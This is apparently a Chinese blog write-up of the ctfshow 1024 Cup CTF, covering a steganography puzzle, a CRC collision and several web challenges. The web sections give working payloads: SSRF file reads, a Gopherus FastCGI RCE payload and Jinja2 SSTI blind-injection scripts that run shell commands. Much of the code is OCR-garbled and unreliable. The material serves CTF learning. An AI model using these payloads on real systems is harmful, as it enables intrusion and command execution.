# 平静的ctfshow 1024杯(部分writeup)

# 原创

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# C.

ctf web 专栏收录该内容

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## 1024

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# 前言

平淡的一周又开始了,学习从变菜开始!!加油

# MISC

## 签到

打开题目,提示下载压缩包,解压之后发现了两个文本文档

■ map.txt■ map说明.txt

在说明(提示)里面讲到

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) 地图,各个路口的编号,flag遗落在其中了,flag路口的编号是连续的 -、flag是一个连续的字符串,在文档中包含,但是不会是完整的。

二、上一个目标的第二个数值是下一个目标的第一个数值。

三、其他的没看懂,可能是因为菜。

然后就用notepad++ 打开,进行搜索。首先尝试ag,发现运气不错。

Line 89: 78210 81068 79650456 ag{We

当然有很多个目标,但是经过尝试之后只有这个是正确的,其他的在后面无法找的其他目标。最后找到的包含flag的位置 Line 89: 78210 81068 79650456 ag{We

Line 54: 56520 78210 35498184 9u4fl

Line 39465: 81068 86056 65454545 lcom

Line 41440: 86056 89556 16548421 102

Line 75223: 89556 91205 26568154 4 Cha

Line 153640: 91205 94156 566512548 lleng

Line 76707: 94156 96825 15487856 9u4

Line 148957: 96825 98155 156565645 ck}56

所以最后拼接得到flag

flag{Welcom\_1024\_Challeng\_9u4ck}~

## 重新签到

打开发现是两个压缩包和一个jpg图片还有一个提示

hint.txt	
🌆 level_1.zip	
🔳 level_2.jpg	
🌆 level-3-flag.zip	

然后第一步骤我怎么也没有头绪,就网上百度了一下,知道了是 CRC碰撞, 然后就借了现成的脚本。

import zipfile
from zlib import crc32
import binascii
import random
s = "0123456789"
text = ""
f= zipfile.ZipFile("level\_1.zip")
for i in range(0,999999999):
 data = str(i).zfill(10)
 #print(data,binascii.crc32(data.encode()))
 if hex(binascii.crc32(data.encode()))=='0x342f0e5c':
 print(data)
 break
#0009656856

### 然后爆破出来的是 0009656856 。

之后来到第二步,是个jpg图像,然后第一部给了这个一串数字,就想到是不是图片里隐藏的有信息,然后想到了可以用 steghide 提取。

steghide使用方法:

隐藏文件 steghide embed -cf [图片文件载体] -ef [待隐藏文件]

查看图片中嵌入的文件信息 steghide info \*.jpg

提取图片中隐藏的文件 steghide extract -sf \*.jpg

#### 然后使用命令 steghide extract -sf level-2.jpg 0009656856

root@momaxx:/home/momaxx# steghide extract -sf level\_2.jpg -p 0009656856
wrote extracted data to "level\_3\_password.txt".

#### 查看发现

/home/momaxx/level_3_password.txt - Mousepad						
文件(F)	编辑(E)	搜索(S)	视图(V)	文档(D)	帮助(H)	
密码是什么	、呀					

#### 然后根据万能的脑洞加上提示

3称 ^	大小	压缩后大小	类型	修改时间	CRC32
			文件夹		
flag.txt *	35	47	文本文档	2020/10/20 1	38E44CE9

想到了可能是给后面的是什么呀进行加密,而且是32位的加密,就想到了MD5、sha1等(才不是我只知道这两个)。 然后就一一尝试,发现是sha1加密。

web

web签到

打开题目,只有简短的几行代码。所以盲猜不难。

error\_reporting(0);
highlight\_file(\_\_FILE\_\_);
call\_user\_func(\$\_GET['f']);

call\_user\_func函数用来将第一个参数作为回调函数调用 格式: call\_user\_func(callable \$callback[, mixed \$parameter[, mixed \$...]]): mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 callback 将被调用的回调函数(callable)。 parameter 0个或以上的参数,被传入回调函数。 注意,传入call\_user\_func()的参数不能为引用传递。

### 所以构造payload: ?f=phpinfo

#### 进入phpinfo页面

zend.assertions	1	1
zend.detect_unicode	On	On
zend.enable_gc	On	On
zend.multibyte	Off	Off
zend.script_encoding	no value	no value
zend.signal_check	Off	Off

然后搜索1024发现一个函数

#### ctfshow

function:ctfshow\_1024 support

enabled

接着构造payload: ?f=ctfshow\_1024,得到flag

error\_reporting(0); highlight\_file(\_\_FILE\_\_); call\_user\_func(\$\_GET['f']); flag{welcome\_2\_ctfshow\_1024\_cup}

moz-extension://af9e447d-cd45-4f2f-bfc5-ec0b1adce0fc/theme/hackbar-panel.html#



### 图片代理



发现url框里是一个base64编码, aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYx0TAzOC8w 解码得到

http://p.qLogo.cn/gh/372619038/372619038/0

然后bp抓包,发现是Ubuntu,nginx,就猜测可能存在ssrf漏洞。 所以就百度了一下默认的配置文件路径。/etc/nginx/conf.d/default.conf base64编码进行传参(在bp进行)

ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg=

注意传参payload是 file:///etc/nginx/conf.d/default.conf 这里要利用fille协议。 server { listen 80 default\_server; listen [::]:80 default\_server;

}

root /var/www/bushihtml; index index.php index.html; proxy\_set\_header Host \$host; proxy\_set\_header X-Real-IP \$remote\_addr; proxy\_set\_header X-Forwarded-For \$proxy\_add\_x\_forwarded\_for; location / { try\_files \$uri \$uri/ /index.php?\$args;

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得到server信息。然后发现了一个目录。接下来利用工具 gopher打fastcgi ,端口为9000。 关于gopher, 如果您知道某个地方容易受到SSRF的攻击,那么此工具将帮助您生成Gopher有效负载,以利用SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。而且,它将帮助您在受害服务器上获得Reverse Shell。

#### 具体信息

然后



#### 依次命令为

ython2 gopherus.py --exploit fastcgi /var/www/bushihtml/index.php

ls /

#### 得到

gopher://127.0.0.1:9000/\_%01%01%00%01%00%08%00%00%00%00%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER\_SC FTWAREgo%20/%20fcgiclient%20%0B%09REMOTE\_ADDR127.0.0.1%0F%08SERVER\_PROTOCOLHTTP/1.1%0E%02CONTENT\_LENGTH56%0E%04H EQUEST\_METHODPOST%09KPHP\_VALUEallow\_url\_include%20%3D%200n%0Adisable\_functions%20%3D%20%0Aauto\_prepend\_file%20% D%20php%3A//input%0F%1CSCRIPT\_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT\_ROOT/%00%01%04%00%01%00%01%00%00 0%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27Ls%20/%27%29%3Bdie%28%27----Made-by-SpyD3r----%0A%27%29%3B%3F%3 E%00%00%00%00

#### base64编码

Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUWMCUWMSUWMCUwMSU MSUwMSUwOSUwMSUwMCUwRiUXMFNFUlZFU19TT0ZUV0FSRWdvJTIwLyUyMGZjZ21jbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUw RiUwOFNFU1ZFU19QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBFVkFM VUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZG1zYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUz RCUyMHBocCUzQS8vaW5wdXQlMEY1MUNTQ1JJUFRfRk1MRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FT1RfUk9P VC81MDA1MDE1MDQ1MDA1MDA1MDA1MDA1MDE1MDU1MDA1MDE1MDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHM1MjAvJTI3 JTI5JTNCZG11JTI4JTI3LS0tLS1NYWR1LWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTAWJTAWJTAWJTAWJTAW

### 同样在bp操作得到

/index.php?picurl=Z29waGVyOi8vMTl3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOC UwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSU wOSUwMSUwMCUwRiUxMFNFUIZFUI9TT0ZUV0FSRWdvJTlwLyUyMGZjZ2ljbGllbnQIMjAIMEIIMDISR U1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUIZFUI9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09 OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhb Gxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGIzYWJsZV9mdW5jdGlvbnMIMjAIM0QIMjAIM EFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQIMEYIMUNTQ1JJUFRfRkI MRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTIRfUk9PVC8IMD AIMDEIMDQIMDAIMDEIMDAIMDAIMDAIMDAIMDEIMDUIMDAIMDEIMDA4JTA0JTAwJTNDJTNGcGh wJTlwc3IzdGVtJTI4JTI3bHMIMjAvJTI3JTI5JTNCZGIJJTI4JTI3LS0tLS1NYWRILWJ5LVNweUQzci0tLS0tJ TBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw HTTP/1.1 Host: a65f7919-5e09-46aa-ab57-c93a97e49d8c.chall.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

Server: nginx/1.14.0 (Ubuntu) Date: Wed, 11 Nov 2020 12:34:58 GMT Content-Type: image/jpeg Content-Length: 232 Connection: close X-Powered-By: PHP/7.4.11

Content-type: text/html; charset=UTF-8

7d963f6a-a659-4084-b505-dde371298dd7 bin dev etc home lib media mnt opt proc root run sbin srv sys

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然后尝试第一个字符串,提交成功。 关于gopherus工具的一些常用命令:

python2 gopherus.pyexploit 1、exploit mysql/*( <i>要求</i> MySQL <i>是3306端口)*/</i> 2、exploit postgresql 3、exploit fastcgi/*如果打开了端口9000,并且没有安全性,则可以使用*/					
hello_world					
打开题目					
	← → ⊂ 奋	🔽 💋 2df51b7-4077-4559-9132			
	📄 火狐官方站点 🧕 新手上路 📄 在	线工具			
	Hello,POST:key!				
提示 post : key 然后post之后发现回题 发现post key={%if 1= (说明:之前尝试了·	显的是你post的东西。然后尝试一下ssti模 ==1%}yoyo{%endif%} 能够正常回显yoyo。 {123}和{{123}}发现回显本身,说明存在过滤	板注入 8,所以尝试用{%%})			
{{ }}:装载一个变 {% %}:装载一个变	٤量,模板渲染的时候,会使用传进来的同名参 ٤制语句。	数这个变量代表的值替换掉。			

然后在网上找的ssti模板注入的一些对象的魔术方法

#}: 装载一个注释,模板渲染的时候会忽视这中间的值

class	返回类型所属的对象
mro	返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base	返回该对象所继承的基类
//base	
subclasse	es 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

\_globals\_\_ 对包含函数全局变量的字典的引用

然后利用方法

#获取''字符串的所属对象
>>> ''class
<class 'str'=""></class>
# <i>获取str类的父类</i>
>>> ''classmro
( <class 'str'="">, <class 'object'="">)</class></class>
#获取object类的所有子类
<pre>&gt;&gt;&gt; ''classmro[1]subclasses()</pre>
<pre>[<class 'type'="">, <class 'weakref'="">, <class 'weakcallableproxy'="">, <class 'weakproxy'="">, <class 'int'="">, <class 'byt<="" pre=""></class></class></class></class></class></class></pre>
earray'>, <class 'bytes'="">, <class 'list'="">, <class 'nonetype'="">, <class 'notimplementedtype'="">, <class 'traceback'=""></class></class></class></class></class>
, <class 'super'=""></class>



# **Internal Server Error**

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

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然后再次百度,知道了是存在过滤,看了大佬的博客知道了这个题目只过滤了 '\_',所以只要进行16进制编码即可。 所以尝试构造payload为: key={%if ""["\x5F\x5Fclass\x5F\x5F"]%}yoyo{%endif%},发现正常回显

### Hello, yoyo!

に 口 査看器	▶ 控制台 ▶ 调试器 1 № 网络 {}样式编辑器 ⑦ 性能 ① 内存 🗄 存储 🕇 无	障碍环境 闘 应用程序 🕘 HackBar
Encryption -	Encoding - SQL - XSS - LFI - XXE - Other -	
Load URL	http://1bd9a94e-1af7-4b89-8776-7e72b4726171.chall.ctf.show/	
• Execute	✓ Post data	
	key={%if ""["\x5F\x5Fclass\x5F\x5F"]!=1%}yoyo{%endif%}	https://blog.csdn.net/qq_46041723

然后就是用python脚本跑了,在这里贴上大佬的脚本

一、查看可操作的模块

```
import requests
url = 'http://ibd9a94e-1af7-4b89-8776-7e72b4726171.chall.ctf.show/'
...
payload = '{%1f""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=
1%)yoyo(%endif%)'
data = {'key':payload}
r = requests.post(url,data)
print(r.text)
...
for i in range(1,200):
    payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5f\]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\\x5f\\x5f\]["\
```

二、利用盲注脚本去查看当前目录和根目录

```
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://lbd9a94e-laf7-4b89-8776-7e72b4726171.chall.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr"]["\\x5f\\x5fr
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ans = appbinctfshowflagdevetchom ans = appbinctfshowflagdevetchome ans = appbinctfshowflagdevetchomel ans = appbinctfshowflagdevetchomeli ans = appbinctfshowflagdevetchomelib ans = appbinctfshowflagdevetchomelibm ans = appbinctfshowflagdevetchomelibme ans = appbinctfshowflagdevetchomelibmed ans = appbinctfshowflagdevetchomelibmedi ans = appbinctfshowflagdevetchomelibmedia ans = appbinctfshowflagdevetchomelibmediam ans = appbinctfshowflagdevetchomelibmediamn ans = appbinctfshowflagdevetchomelibmediamnt ans = appbinctfshowflagdevetchomelibmediamnto ans = appbinctfshowflagdevetchomelibmediamntop ans = appbinctfshowflagdevetchomelibmediamntopt ans = appbinctfshowflagdevetchomelibmediamntoptp ans = appbinctfshowflagdevetchomelibmediamntoppppn/blog.csdn.net/qg\_46041723



import requests
import string
abt = string.ascii_lowercase+string.digits+'{}'
url = 'http://1bd9a94e-1af7-4b89-8776-7e72b4726171.chall.ctf.show/'
<pre>cmd = 'cat /ctfshow*'</pre>
ans = ''
for i in range(0,80):
for le in abt:
payload = '{%if []["\\x5f\\x5fclass\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fxbase\\x5f"]["\\x5f\\x5fsubclasses\\x5f\
x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f"]["\\x5f\\x
5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}yoyo
{%endif%}'
<pre>data = {'key':payload}</pre>
r = requests.post(url,data)
if 'yoyo' in r.text:
ans += le
<pre>print('ans = '+ans)</pre>
break

因为是要在查找到的目录下进行操作,	所以脚本里面的	cmd =	'cat	/ctfshow*'	中加的应该是你想要的目录。	得到flag
and = flog						

ans	=	flag	
ans	=	flag	
ans	=	flag	[8
ans	=	flag	{85
ans	=	flag	(85c
ans	=	flag	(85ca
ans	=	flag	(85ca8
ans	=	flag	(85ca88
ans	=	flag	(85ca88b
ans	=	flag	(85ca88bb
ans	=	flag	(85ca88bb-
ans	=	flag	{85ca88bb-8
ans	=	flag	{85ca88bb-85
ans	=	flag	{85ca88bb-85c
ans	=	flag	{85ca88bb-85cb
ans	=	flag	{85ca88bb-85cb-
ans	=	flag	{85ca88bb-85cb-4
ans	=	flag	{85ca88bb-85cb-48
ans	=	flag	{85ca88bb-85cb-487
ans	=	flag	{85ca88bb-85cb-487d
ans	=	flag	{85ca88bb-85cb-487d-
ans	=	flag	{85ca88bb-85cb-487d-8
ans	=	flag	{85ca88bb-85cb-487d-84
ans	=	flag	{85ca88bb-85cb-487d-843
ans	=	flag	{85ca88bb-85cb-487d-843a
ans	=	flag	{85ca88bb-85cb-487d-843a-
ans	=	flag	{85ca88bb-85cb-487d-843a-1
ans	=	flag	{85ca88bb-85cb-487d-843a-1b
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b0
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b08
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b08f
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b08f1
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b08f14
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b08f14c
ans	=	flag	{85ca88bb-85cb-487d-843a-1bf7b08f14c0
ans	=	flag	{85ca88bb=85cb=487d=843a=1bf7b08f14c0}//blog.csdn.net/qq_46041/23
///			

# 结束语

自己还是太菜了,做的题太少,好多题都要在网上找大佬博客才能做出来,多做题吧以后!附上 hello word web题的参考的大 佬博客。